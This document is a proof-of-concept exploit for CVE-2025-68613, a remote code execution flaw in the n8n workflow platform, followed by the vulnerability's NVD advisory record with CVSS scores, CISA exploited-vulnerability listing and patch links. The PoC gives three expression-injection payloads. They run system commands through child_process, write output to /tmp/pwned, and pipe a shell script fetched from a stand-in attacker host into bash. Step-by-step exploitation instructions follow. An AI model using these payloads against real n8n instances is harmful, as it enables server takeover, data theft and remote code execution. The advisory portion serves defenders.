CVE-2025-68613

// CVE-2025-68613 PoC - n8n Expression RCE // Target: n8n versions < 1.120.4, < 1.121.1, < 1.122.0 // This PoC demonstrates how to achieve RCE through workflow expressions const payload = "{{ (function() { const fs = require('fs'); const { execSync } = require('child_process'); return execSync('whoami').toString(); })() }}"; // Alternative payload using prototype pollution const rcePayload = "{{ this.__proto__.shell = require('child_process').execSync.bind(null, 'id > /tmp/pwned') }}"; // More sophisticated payload const advancedPayload = ` {{ const process = this.constructor.constructor('return process')(); const { execSync } = require('child_process'); execSync('curl https://attacker.com/shell.sh | bash'); }} `; // Steps to exploit: // 1. Authenticate to n8n instance // 2. Create or edit a workflow // 3. Add a Set node or any node supporting expressions // 4. Insert the RCE payload in the expression field // 5. Execute the workflow // 6. Check /tmp/pwned on target server for output console.log('Payload for CVE-2025-68613:'); console.log('Base64:', Buffer.from(payload).toString('base64'));

{"cve": {"id": "CVE-2025-68613", "sourceIdentifier": "[email protected]", "published": "2025-12-19T23:15:52.083", "lastModified": "2026-03-11T19:40:09.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. Versions starting with 0.211.0 and prior to 1.120.4, 1.121.1, and 1.122.0 contain a critical Remote Code Execution (RCE) vulnerability in their workflow expression evaluation system. Under certain conditions, expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime. An authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations. This issue has been fixed in versions 1.120.4, 1.121.1, and 1.122.0. Users are strongly advised to upgrade to a patched version, which introduces additional safeguards to restrict expression evaluation. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Limit workflow creation and editing permissions to fully trusted users only; and/or deploy n8n in a hardened environment with restricted operating system privileges and network access to reduce the impact of potential exploitation. These workarounds do not fully eliminate the risk and should only be used as short-term measures."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-03-11", "cisaActionDue": "2026-03-25", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "n8n Improper Control of Dynamically-Managed Code Resources Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-913"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-913"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "0.211.0", "versionEndExcluding": "1.120.4", "matchCriteriaId": "C9961CCA-C266-4997-AA60-A32EFD3BAFF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:1.121.0:*:*:*:*:node.js:*:*", "matchCriteriaId": "9FD26170-639E-4E8E-9AF2-5966FD81B4D3"}]}]}], "references": [{"url": "https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/n8n-io/n8n/commit/1c933358acef527ff61466e53268b41a04be1000", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/n8n-io/n8n/commit/39a2d1d60edde89674ca96dcbb3eb076ffff6316", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.akamai.com/blog/security-research/2026/feb/zerobot-malware-targets-n8n-automation-platform", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-68613", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}